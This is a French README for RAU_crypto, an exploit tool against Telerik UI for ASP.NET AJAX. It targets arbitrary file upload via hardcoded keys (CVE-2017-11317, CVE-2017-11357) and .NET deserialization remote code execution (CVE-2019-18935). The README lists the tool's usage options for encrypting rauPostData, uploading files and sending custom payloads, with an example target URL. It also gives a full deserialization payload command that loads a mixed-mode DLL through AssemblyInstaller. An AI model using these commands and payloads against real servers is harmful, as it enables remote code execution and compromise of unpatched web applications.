RAU_crypto

Exploit combiné pour Telerik UI for ASP.NET AJAX.

• Téléchargement de fichier pour CVE-2017-11317 et CVE-2017-11357 - télécharge automatiquement le fichier
• Désérialisation .NET pour CVE-2019-18935

Pour que l'exploitation fonctionne, vous avez généralement besoin d'une version avec des clés codées en dur, ou vous devez connaître la clé, par exemple si vous pouvez divulguer le contenu de web.config. L'exploit permet également le déchiffrement et le chiffrement simples des rauPostData utilisés avec Telerik.Web.UI.WebResource.axd?type=rau

Prérequis

• python >= 3.6 avec pycryptodome (https://www.pycryptodome.org/en/latest/src/installation.html) - installé avec pip3 install pycryptodome ou pip3 install pycryptodomex

Publié sur exploit-db (ancienne version)

• https://www.exploit-db.com/exploits/43874/

Voir aussi

Mon autre exploit Telerik UI (pour CVE-2017-9248) vous intéressera probablement aussi. Il est disponible ici :

• https://github.com/bao7uo/dp_crypto

À faire

• Fonctionnalité HMAC manquante pour les versions ultérieures.
• Possibilité de spécifier une clé personnalisée.
• Argument en ligne de commande pour l'exécution d'une dll en mode mixte (en attendant, utilisez l'exemple de charge utile de désérialisation .NET fourni ci-dessous).
• Utilitaire séparé pour tester la dll en mode mixte.
• Fournir le code source/les instructions de compilation pour la dll en mode mixte.
• Forcer les versions par brute force.

Note - les quatre derniers éléments sont complets mais non publiés.

Vulnérabilités

La vulnérabilité de téléchargement de fichier (CVE-2017-11317) a été découverte par d'autres, je crois que les crédits sont dus à @straight_blast @pwntester @olekmirosh . Peu de temps après son annonce, j'ai rencontré la bibliothèque Telerik au cours de mon travail, j'ai donc fait des recherches sur celle-ci et la vulnérabilité et j'ai écrit cet exploit en juillet 2017. J'ai également signalé CVE-2017-11357 pour la référence d'objet directe non sécurisée associée.

https://www.telerik.com/support/kb/aspnet-ajax/upload-%28async%29/details/insecure-direct-object-reference

La vulnérabilité de désérialisation .NET (CVE-2019-18935) a été découverte par @mwulftange.

https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization

Utilisation

$ ./RAU_crypto.py 

RAU_crypto by Paul Taylor / @bao7uo 
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation

Usage:

Decrypt a ciphertext:               -d ciphertext
Decrypt rauPostData:                -D rauPostData
Encrypt a plaintext:                -e plaintext

Generate file upload rauPostData:   -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file:                        -P c:\\destination\\folder Version c:\\local\\filename url [proxy]

Generate custom payload POST data : -c partA partB
Send custom payload:                -C partA partB url [proxy]

Example URL:               http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format:    2016.2.504
Example optional proxy:    127.0.0.1:8080

N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$

Exemple - déchiffrement

Decrypt screenshot

Exemple - téléchargement de fichier arbitraire

Upload screenshot

Charge utile personnalisée (désérialisation .NET)

Pour plus de détails sur les charges utiles personnalisées pour la désérialisation .NET, il y a un excellent article de @mwulftange qui a découvert cette vulnérabilité sur le blog Code White au lien suivant.

• https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html

Autres liens pertinents.

• https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
• https://threatvector.cylance.com/en_us/home/implications-of-loading-net-assemblies.html
• https://thewover.github.io/Mixed-Assemblies/

Exemple de charge utile de désérialisation .NET :

$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau

Pour la DLL en mode mixte, voir mon autre dépôt github :

• https://github.com/bao7uo/MixedUp

Remerciements spéciaux à @irsdl qui a inspiré la fonctionnalité de charge utile personnalisée.